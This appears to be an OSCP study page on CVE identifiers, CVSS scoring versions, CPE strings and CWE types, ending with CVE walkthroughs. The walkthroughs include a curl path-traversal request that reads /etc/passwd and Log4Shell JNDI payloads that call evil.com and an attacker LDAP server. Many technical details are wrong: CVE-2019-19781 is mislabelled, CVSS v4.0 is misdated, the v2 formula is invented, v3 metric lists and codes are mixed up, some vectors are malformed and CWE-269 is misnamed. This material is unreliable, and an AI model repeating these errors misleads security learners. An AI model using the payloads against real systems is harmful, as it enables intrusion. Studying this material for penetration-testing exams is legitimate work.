Domain 3Exploit Dev & AV EvasionCORE

CVE, CVSS, and CPE

Deep dive into vulnerability identification standards: CVE structure and usage, CVSS v2/v3/v4 metrics and severity ratings, and CPE format and components. Essential for understanding and prioritizing vulnerabilities during OSCP.

Domain: Domain 3: Exploit Mechanics & AV Evasion•Updated: 2026-09-01
#cve#cvss#cpe#vulnerability-identification#oscp

CVE, CVSS, and CPE

Table of Contents

  1. CVE Deep Dive
  2. CVSS v2
  3. CVSS v3.0 / v3.1
  4. CVSS v4.0
  5. Severity Ratings and Prioritization
  6. CPE Deep Dive
  7. Practical Usage During OSCP
  8. CWE Overview
  9. Real CVE Walkthroughs
  10. Quick Reference Tables

1. CVE Deep Dive

What Is a CVE?

CVE stands for Common Vulnerabilities and Exposures. It is the industry-standard naming system for publicly disclosed cybersecurity vulnerabilities. Each CVE entry provides a unique, persistent identifier for a specific vulnerability — think of it as a “social security number” for bugs.

CVE ID Structure

Every CVE identifier follows the format:

CVE-YYYY-NNNNN
Component Description Example
CVE Literal prefix CVE
YYYY Year the ID was assigned (not necessarily year of discovery) 2021
NNNNN Unique numeric identifier, zero-padded to at least 4 digits 44228

Examples:

  • CVE-2021-44228 — Log4Shell (Log4j RCE)
  • CVE-2017-0144 — EternalBlue (SMB RCE)
  • CVE-2019-19781 — Exchange Server SSRF

Note: The year in the CVE ID reflects when the identifier was assigned, not necessarily when the vulnerability was discovered or exploited in the wild.

How CVEs Are Assigned

CVE IDs are issued by CVE Numbering Authorities (CNAs) — organizations authorized by MITRE to assign CVE IDs within their scope. The process works as follows:

  1. Vendor/Product Owner (CNA): A vendor like Microsoft, Apache, or Cisco maintains its own CNA and can directly request CVE IDs for vulnerabilities in their products.
  2. MITRE CVE Service: If no CNA covers a product, researchers can request a CVE ID directly from MITRE.
  3. Assignment: Once assigned, the CVE ID is published to the CVE List with a description, references, and optionally severity data.

Major CNAs include:

  • MITRE (general / unassigned products)
  • Microsoft (MSRC)
  • Apache Software Foundation
  • Cisco
  • Google
  • DWF (Distributed Weakness Filing — for open-source projects)

CVE vs. Other Vulnerability Identifiers

Identifier Format Issued By Purpose
CVE CVE-YYYY-NNNNN MITRE / CNAs Universal vulnerability ID
CNA-specific e.g., MS21-045 Vendor (Microsoft) Vendor advisory reference
Bugtraq ID BID-NNNNN SecurityFocus Legacy, largely deprecated
EDB-ID EDB-ID: NNNNN Exploit-DB Exploit code reference
GHSA GHSA-XXXX-XXXX-XXXX GitHub GitHub Security Advisory

OSCP Tip: When searching for exploits, always start with the CVE ID. It is the most universal reference and will link to advisories, patches, exploit code, and CVSS scores across all major databases.

How to Look Up CVEs

Resource URL Best For
NVD (National Vulnerability Database) https://nvd.nist.gov/vuln/detail/CVE-YYYY-NNNNN Official CVSS scores, CPE data, references
CVE Details https://www.cvedetails.com Aggregated info, exploit links, patch status
Exploit-DB https://www.exploit-db.com Exploit code, search by CVE
GitHub Search https://github.com/search?q=CVE-YYYY-NNNNN PoC code, community exploits
Vulners https://vulners.com Aggregated intelligence, PoCs, Metasploit modules

2. CVSS v2

Overview

CVSS v2 (Common Vulnerability Scoring System version 2.0) was released in 2005 and remained the standard for many years. While largely superseded by v3.x, you will still encounter v2 scores in older advisories and some tools.

CVSS v2 Base Metrics

Metric Values Description
Access Vector (AV) LOCAL / ADJACENT_NETWORK / NETWORK How the vulnerability is exploited remotely
Access Complexity (AC) HIGH / MEDIUM / LOW Specialized conditions required
Authentication (Au) NONE / SINGLE / MULTIPLE Authentication levels needed
Impact: Confidentiality (C) NONE / PARTIAL / COMPLETE Information disclosure impact
Impact: Integrity (I) NONE / PARTIAL / COMPLETE Data modification impact
Impact: Availability (A) NONE / PARTIAL / COMPLETE Service disruption impact

CVSS v2 Score Calculation (Simplified)

Exploitability = 20 * AV * AC * Au
Impact = 10.41 * (1 - (1-C) * (1-I) * (1-A))
BaseScore = round(((3.6 * Exploitability) + Impact) * CVSSOn, 1)

Where CVSSOn = 1 - (0.029 * Impact) - 0.07 - 0.071

When Is CVSS v2 Still Relevant?

  • Legacy systems and older vulnerability databases
  • Some enterprise vulnerability scanners still report v2 scores
  • Understanding historical vulnerability assessments
  • OSCP context: You may see v2 scores in older exploit-DB entries or Metasploit module descriptions

3. CVSS v3.0 / v3.1

Overview

CVSS v3.0 was released in 2015, with v3.1 following in 2019 (minor clarifications, no structural changes). This is the most widely used version today and the one you will encounter most frequently during OSCP preparation and the exam.

Base Metrics (The Core 8)

The Base metric group captures intrinsic characteristics that are constant over time and across user environments.

Exploitability Metrics

Metric Values Weight Description
Attack Vector (AV) NETWORK (High) / ADJACENT_NETWORK (Medium) / LOCAL (Low) / PHYSICAL (Low) Highest How remotely can the vulnerability be exploited?
Attack Complexity (AC) LOW / HIGH High Are special conditions required beyond the attacker’s control?
Privileges Required (PR) NONE / LOW / HIGH Medium What level of privileges must the attacker have?
User Interaction (UI) NONE / REQUIRED Medium Does a user need to take an action for exploitation?

Attack Vector Details:

  • NETWORK: Exploitable across a network (internet, LAN, WAN). No local access needed. Highest impact.
  • ADJACENT_NETWORK: Requires proximity (same LAN, Bluetooth, USB, Wi-Fi). Think Bluetooth attacks or local network SMB exploits.
  • LOCAL: Attacker needs local account access (already inside the system).
  • PHYSICAL: Attacker must physically touch the device.

Attack Complexity Details:

  • LOW: Exploitation is straightforward. No special conditions, no race conditions, no user-specific data needed. Most RCE vulnerabilities fall here.
  • HIGH: Specialized conditions exist — specific configuration, race condition, attacker-controlled memory layout, etc.

Privileges Required Details:

  • NONE: No authentication needed. Unauthenticated attacker can exploit. Most dangerous.
  • LOW: Minimal privileges (e.g., a standard user account, read-only access).
  • HIGH: Administrative or equivalent privileges required.

User Interaction Details:

  • NONE: No user needed. Fully automated exploitation possible.
  • REQUIRED: A user must perform an action (click a link, open a file, run a script).

Scope Metric

Metric Values Description
Scope (S) UNCHANGED / CHANGED Does the vulnerability affect components beyond its own security scope?
  • UNCHANGED: Only the vulnerable component is affected.
  • CHANGED: The vulnerability can impact other components (e.g., a browser vulnerability that leads to full system compromise). Scope Changed automatically increases the minimum base score to Medium (4.0).

Impact Metrics

Metric Values Description
Confidentiality (C) NONE / LOW / HIGH Impact on information confidentiality
Integrity (I) NONE / LOW / HIGH Impact on data integrity
Availability (A) NONE / LOW / HIGH Impact on system availability

Impact Levels:

  • NONE: No impact on this impact type.
  • LOW: Some compromise, but information/integrity/availability loss is limited.
  • HIGH: Total compromise. Complete loss of confidentiality, full data modification, or total service denial.

CVSS v3 Vector String Format

A CVSS v3 vector string encodes all metric values in a compact, standardized format:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Reading the vector:

CVSS:3.1    — Version
/AV:N       — Attack Vector: Network
/AC:L       — Attack Complexity: Low
/PR:N       — Privileges Required: None
/UI:N       — User Interaction: None
/S:U        — Scope: Unchanged
/C:H        — Confidentiality: High
/I:H        — Integrity: High
/A:H        — Availability: High

This vector represents a 10.0 (Critical) score — the maximum possible.

Temporal Metrics

These reflect confidence in the exploit’s existence and the availability of remediations:

Metric Values Description
Exploit Code Maturity (E) UNPROVEN / PROOF_OF_CONCEPT / FUNCTIONAL / HIGH How mature is the exploit code?
Remediation Level (RL) OFFICIAL_FIX / TEMPORARY_FIX / WORKAROUND / UNAVAILABLE What remediation is available?
Report Confidence (RC) UNCONFIRMED / UNCORROBORATED / CONFIRMED How confident are we in the report?

Environmental Metrics

These allow customization based on your specific environment:

Metric Values Description
Collateral Damage Potential (CDP) NONE / LOW / LOW_MED / MEDIUM_HIGH / HIGH Impact on collateral systems
Target Distribution (TD) NONE / LOW / MEDIUM / HIGH How widespread is the vulnerable target?
Confidentiality Req. (CR) LOW / MEDIUM / HIGH Confidentiality requirement of the target
Integrity Req. (IR) LOW / MEDIUM / HIGH Integrity requirement of the target
Availability Req. (AR) LOW / MEDIUM / HIGH Availability requirement of the target

Real CVSS v3 Vector Examples

# Log4Shell — Maximum severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/H/I:H/A:H
Score: 10.0 (Critical)

# PrintNightmare — High severity, local privilege escalation
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H
Score: 7.8 (High)

# A low-severity information disclosure
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Score: 5.3 (Medium)

4. CVSS v4.0

Overview

CVSS v4.0 was released in October 2021 as a significant evolution of the scoring system. While adoption is still growing, understanding its differences is valuable for staying current.

Key Changes from v3.x

Feature CVSS v3.x CVSS v4.0
Sub-scoring Single Base score Separate Base and Base Sub-scores (Confidentiality, Integrity, Availability)
Safety metric Not present Safety (SA) — impact on physical safety
User Interaction NONE / REQUIRED NONE / PASSIVE / ACTIVE
Privileges Required NONE / LOW / HIGH NONE / LOW / HIGH (refined definitions)
Chain mechanism Not native Chain — supports modeling attack chains
Severity thresholds Fixed ranges Adjusted thresholds for better discrimination

New CVSS v4.0 Metrics

Safety (SA):

  • NONE — No impact on physical safety
  • LOW — Minor safety impact
  • HIGH — Significant safety impact (critical infrastructure, medical devices, etc.)

User Interaction Refined:

  • NONE — No user interaction needed
  • PASSIVE — User is unaware (e.g., visiting a malicious website)
  • ACTIVE — User must actively participate (e.g., clicking a link, opening a file)

CVSS v4.0 Vector Example

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Note the separate confidentiality, integrity, and availability sub-scores for both Vulnerable component and Scope-affected components.

OSCP Note: CVSS v4.0 is not yet widely adopted in exploit databases. Focus your study on v3.1, but be aware of v4.0’s existence and key differences.


5. Severity Ratings and Prioritization

CVSS Score Ranges

Score Range Severity Color Priority During Pentest
0.0 None White Skip (unless contextually relevant)
0.1 – 3.9 Low Green Low priority — review if no other options
4.0 – 6.9 Medium Orange Medium priority — worth investigating
7.0 – 8.9 High Orange-Red High priority — pursue actively
9.0 – 10.0 Critical Red Top priority — exploit first

Prioritization Strategy During OSCP

Priority Order:
1. Critical (9.0-10.0) — Remote, unauthenticated RCE
2. High (7.0-8.9) — Authenticated RCE, privilege escalation
3. Medium (4.0-6.9) — Information disclosure, local exploits
4. Low (0.1-3.9) — Only if no other vectors exist

Practical Decision Framework:

Is the target service running?
├── YES → Is there a known CVE?
│         ├── YES → What's the CVSS score?
│         │         ├── 9.0-10.0 → Exploit immediately
│         │         ├── 7.0-8.9  → Exploit, verify conditions
│         │         ├── 4.0-6.9  → Exploit if conditions met
│         │         └── 0.1-3.9  → Keep as backup option
│         └── NO  → Manual exploitation / custom research
└── NO  → Move to next service

OSCP Exam Tip: Don’t just chase the highest CVSS score. A Medium-severity vulnerability with a reliable Metasploit module may be faster to exploit than a Critical one requiring complex setup. Reliability and speed matter more than score alone.


6. CPE Deep Dive

What Is CPE?

CPE (Common Platform Enumeration) is a standardized naming scheme for information technology systems, software, and packages. It provides a structured way to identify and reference specific products and versions — essentially answering “what product is vulnerable?”

CPE Format

CPE has two formats:

1. CPE 2.2 (String Format)

cpe:/<part>:<vendor>:<product>:<version>:<update>:<edition>:<lang>:<sw_edition>:<target_sw>:<target_hw>:<other>

Example:

cpe:/a:microsoft:internet_explorer:11.0.9600.18692

2. CPE 2.3 (Attribute-Based Format — Current Standard)

cpe:2.3:<part>:<vendor>:<product>:<version>:<update>:<edition>:<language>:<sw_edition>:<target_sw>:<target_hw>:<other>

Example:

cpe:2.3:a:microsoft:internet_explorer:11.0.9600.18692:*:*:*:*:*:*:*

CPE Components Breakdown

Component Description Example Values
Part Type of product a (application), o (OS), h (hardware)
Vendor Product vendor microsoft, apache, cisco, linux
Product Product name windows_10, http_server, ios
Version Product version 10.0.19041, 2.4.49, 14.6
Update Update/patch level 18692, * (any)
Edition Product edition professional, enterprise, *
Language Product language en, ja, *
SW Edition Software edition *
Target SW Target OS *
Target HW Target hardware x86, arm, *
Other Additional info *

Part Types

Part Code Description Example
Application a Software applications cpe:2.3:a:apache:http_server:2.4.49:*:*:*:*:*:*:*
Operating System o Operating systems cpe:2.3:o:microsoft:windows_10:10.0.19041:*:*:*:*:*:*:*
Hardware h Hardware devices cpe:2.3:h:cisco:router_2901:*:*:*:*:*:*:*:*

Wildcard Usage

The * wildcard means “any value” for that component. This is extremely common:

# Any version of Apache HTTP Server
cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*

# Windows 10, any version, any update
cpe:2.3:o:microsoft:windows_10:*:*:*:*:*:*:*:*

CPE Dictionary

The CPE Dictionary is maintained by NIST and contains all known CPE entries:

  • URL: https://nvd.nist.gov/products/cpe/search
  • Purpose: Look up the correct CPE string for a product
  • Usage: When you identify a product on a target, search the CPE Dictionary to find its exact CPE string, then cross-reference with CVEs

OSCP Tip: You rarely need to manually construct CPE strings during the exam. But understanding CPE helps you navigate the NVD, understand which products a CVE affects, and use tools like searchsploit more effectively.


7. Practical Usage During OSCP

How CVE, CVSS, and CPE Work Together

These three standards form a complete vulnerability identification ecosystem:

CVE  → "What is the vulnerability?"  (Unique ID)
CVSS → "How severe is it?"          (Score + Metrics)
CPE  → "What product is affected?"  (Product Identification)

Example Workflow:

  1. Enumeration: You discover Apache HTTP Server 2.4.49 running on port 80.
  2. CPE Lookup: The CPE is cpe:2.3:a:apache:http_server:2.4.49:*:*:*:*:*:*:*
  3. CVE Search: Search NVD for CVEs affecting this CPE → find CVE-2021-41773
  4. CVSS Check: Score is 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  5. Exploit Search: Search Exploit-DB / Metasploit for CVE-2021-41773
  6. Exploit: Deploy the exploit against the target.

Tools and Commands

# Search Exploit-DB by CVE
searchsploit CVE-2021-41773

# Search Exploit-DB by product
searchsploit Apache 2.4.49

# Search Exploit-DB by keyword
searchsploit path traversal apache

# NVD API lookup (using curl)
curl "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2021-41773"

# Using vulners for comprehensive lookup
vulners CVE-2021-41773

OSCP Exam Strategy

  1. Identify the service and version during enumeration
  2. Search for known CVEs affecting that exact version
  3. Check CVSS scores to prioritize — but don’t ignore medium-severity vulns with reliable exploits
  4. Verify exploit availability — Metasploit modules are fastest, followed by standalone Python scripts
  5. Check exploit conditions — some CVEs require specific configurations or modules enabled
  6. Have backup options — always have 2-3 potential exploits ready for each service

Critical Exam Advice: The OSCP exam rewards successful exploitation, not theoretical knowledge. A CVSS 5.0 vulnerability with a one-click Metasploit module is more valuable than a CVSS 10.0 vulnerability that requires custom exploit development.


8. CWE Overview

What Is CWE?

CWE (Common Weakness Enumeration) is a community-developed list of common software weakness types. While CVE identifies specific vulnerabilities, CWE categorizes the type of weakness.

CWE vs. CVE

Aspect CVE CWE
Scope Specific vulnerability instance General weakness category
Example CVE-2021-44228 (Log4Shell) CWE-502 (Deserialization of Untrusted Data)
Purpose Track and reference a specific bug Classify and prevent weakness types
Relationship One CVE maps to one or more CWEs One CWE covers many CVEs

Most Common CWEs in OSCP Contexts

CWE ID Name OSCP Relevance Example CVEs
CWE-79 XSS Web app assessments Many web vulns
CWE-89 SQL Injection Web app assessments SQLi vulnerabilities
CWE-22 Path Traversal File inclusion attacks CVE-2021-41773
CWE-78 OS Command Injection RCE via command injection Various RCE vulns
CWE-289 Auth Bypass Authentication bypass Auth bypass vulns
CWE-434 Unrestricted Upload File upload RCE Upload vulnerabilities
CWE-502 Unsafe Deserialization Java/.NET deserialization CVE-2021-44228
CWE-125 Out-of-bounds Read Buffer overflow (read) Memory corruption
CWE-120 Buffer Overflow Buffer overflow (write) Classic RCE vulns
CWE-200 Info Exposure Information disclosure Version leaks, debug info
CWE-269 Privilege Escalation Local/remote privesc CVE-2021-1675
CWE-918 Server-Side Request Forgery SSRF attacks Cloud metadata access

How CWE Helps During OSCP

  • Pattern Recognition: Knowing CWEs helps you recognize vulnerability patterns across different products
  • Exploit Development: Understanding the underlying weakness type guides custom exploit development
  • Manual Exploitation: When no public exploit exists, knowing the CWE type helps you craft manual attacks
  • Post-Exploitation: CWE-269 (Privilege Escalation) is the most common post-exploitation weakness

9. Real CVE Walkthroughs

CVE-2021-41773 — Apache Path Traversal and File Disclosure

Overview: A path traversal vulnerability in Apache HTTP Server 2.4.49 and 2.4.50 allows attackers to read arbitrary files through URL encoding tricks.

CVE ID:    CVE-2021-41773
CVSS v3.1: 9.8 (Critical)
Vector:    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE:       CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
CPE:       cpe:2.3:a:apache:http_server:2.4.49:*:*:*:*:*:*:*
           cpe:2.3:a:apache:http_server:2.4.50:*:*:*:*:*:*:*

Why It Scored 9.8:

  • AV:N — Exploitable over the network
  • AC:L — Low complexity, straightforward URL manipulation
  • PR:N — No authentication required
  • UI:N — No user interaction needed
  • S:U — Scope unchanged (only affects the web server)
  • C:H/I:H/A:H — High impact on all three impact metrics (the NVD assessment considered potential for broader impact)

Exploitation:

# Search for exploits
searchsploit CVE-2021-41773

# Manual exploitation example
curl "http://target:80/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

OSCP Relevance: This type of vulnerability appears in web-based challenges. Understanding path traversal (CWE-22) is essential for manual exploitation when no exploit script is available.


CVE-2021-44228 — Log4Shell (Apache Log4j RCE)

Overview: A critical remote code execution vulnerability in Apache Log4j 2.x caused by JNDI lookup processing in log messages.

CVE ID:    CVE-2021-44228
CVSS v3.1: 10.0 (Critical)
Vector:    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/H/I:H/A:H
CWE:       CWE-502 (Deserialization of Untrusted Data)
CPE:       cpe:2.3:a:apache:log4j:2.0.0:*:*:*:*:*:*:*
           (through 2.14.1)

Why It Scored 10.0:

  • AV:N — Fully network-exploitable
  • AC:L — Trivially exploitable — just inject ${jndi:ldap://evil.com/a} into any logged string
  • PR:N — No authentication needed
  • UI:N — Fully automated
  • S:C — Scope Changed — the vulnerability in Log4j (a library) affects the entire application using it
  • C:H/I:H/A:H — Complete remote code execution

Exploitation Concept:

# The payload injected into any loggable input
${jndi:ldap://attacker-server:1389/Exploit}

# This causes Log4j to:
# 1. Parse the string as a JNDI lookup
# 2. Connect to the attacker's LDAP server
# 3. Download and execute a malicious Java class

OSCP Relevance: While Log4Shell itself may not appear directly on OSCP machines, understanding JNDI injection and deserialization attacks (CWE-502) is valuable for Java-based application assessments.


CVE-2021-1675 — PrintNightmare (Windows Print Spooler RCE)

Overview: A privilege escalation vulnerability in the Windows Print Spooler service allowing remote code execution as SYSTEM.

CVE ID:    CVE-2021-1675
CVSS v3.1: 7.8 (High) — Remote / 8.8 (High) — Local
Vector (Remote): CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H
Vector (Local):  CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE:           CWE-269 (Improvement of Privilege)
CPE:           cpe:2.3:o:microsoft:windows_10:*:*:*:*:*:*:*:*
               cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*

Why It Scored 7.8 (Remote):

  • AV:N — Network-exploitable via SMB/RPC
  • AC:H — High complexity — requires specific conditions and knowledge
  • PR:H — High privileges required — needs admin-level access to the print spooler
  • UI:N — No user interaction
  • S:U — Scope unchanged
  • C:H/I:H/A:H — Full SYSTEM-level code execution

OSCP Relevance: This is a classic OSCP-style vulnerability — a Windows service vulnerability leading to SYSTEM-level access. Understanding PrintNightmare helps with:

  • Windows privilege escalation techniques
  • RPC-based exploitation
  • Understanding why CVSS scores can be misleading (7.8 sounds “only High” but this gives SYSTEM)

10. Quick Reference Tables

CVSS v3.1 Base Metric Values

Metric Value Code Impact on Score
AV Network N Highest
Adjacent Network A Medium
Local L Low
Physical P Lowest
AC Low L Higher score
High H Lower score
PR None N Higher score
Low L Medium score
High H Lower score
UI None N Higher score
Required R Lower score
S Unchanged U Normal
Changed C Minimum 4.0 (Medium)
C/I/A None N No impact
Low L Some impact
High H Total impact

CVSS v3.1 Temporal Metric Values

Metric Value Code Effect
E Unproven X Lowest temporal score
Proof of Concept P Low temporal score
Functional F Medium temporal score
High H Highest temporal score
RL Official Fix O Lowers score
Temporary Fix T Slightly lowers score
Workaround W Minimally lowers score
Unavailable U No reduction
RC Unconfirmed X Lowers score
Uncorroborated U Slightly lowers score
Confirmed C No reduction

Severity Rating Quick Reference

Score Severity Color Action
0.0 None ⚪ White Ignore
0.1 – 3.9 Low 🟢 Green Low priority
4.0 – 6.9 Medium 🟠 Orange Investigate
7.0 – 8.9 High 🟠🔴 Orange-Red Prioritize
9.0 – 10.0 Critical 🔴 Red Exploit first

CPE Part Types

Part Code Description
Application a Software applications, libraries, frameworks
Operating System o Operating systems, kernels
Hardware h Physical devices, routers, switches

Most Important CWEs for OSCP

CWE Name Attack Type
CWE-22 Path Traversal File read / RCE
CWE-78 OS Command Injection RCE
CWE-79 XSS Web attacks
CWE-89 SQL Injection Data access / RCE
CWE-269 Privilege Escalation Post-exploitation
CWE-289 Auth Bypass Initial access
CWE-434 Unrestricted Upload RCE via upload
CWE-502 Unsafe Deserialization RCE (Java/.NET)
CWE-918 SSRF Internal network access

Essential URLs

Resource URL
NVD CVE Detail https://nvd.nist.gov/vuln/detail/CVE-YYYY-NNNNN
CPE Dictionary https://nvd.nist.gov/products/cpe/search
Exploit-DB https://www.exploit-db.com
CVE Details https://www.cvedetails.com
CWE List https://cwe.mitre.org
First.org (CVSS) https://www.first.org/cvss
Vulners https://vulners.com

Summary

Understanding CVE, CVSS, and CPE is fundamental to effective vulnerability research and exploitation during the OSCP exam:

  • CVE gives you a universal identifier to search for exploits and advisories
  • CVSS helps you prioritize which vulnerabilities to pursue first
  • CPE tells you exactly which products and versions are affected
  • CWE helps you understand the underlying weakness type for manual exploitation

The golden rule for OSCP: CVSS scores guide your prioritization, but exploit reliability and speed determine your success. Always verify that an exploit actually works against your target version before investing significant time in it.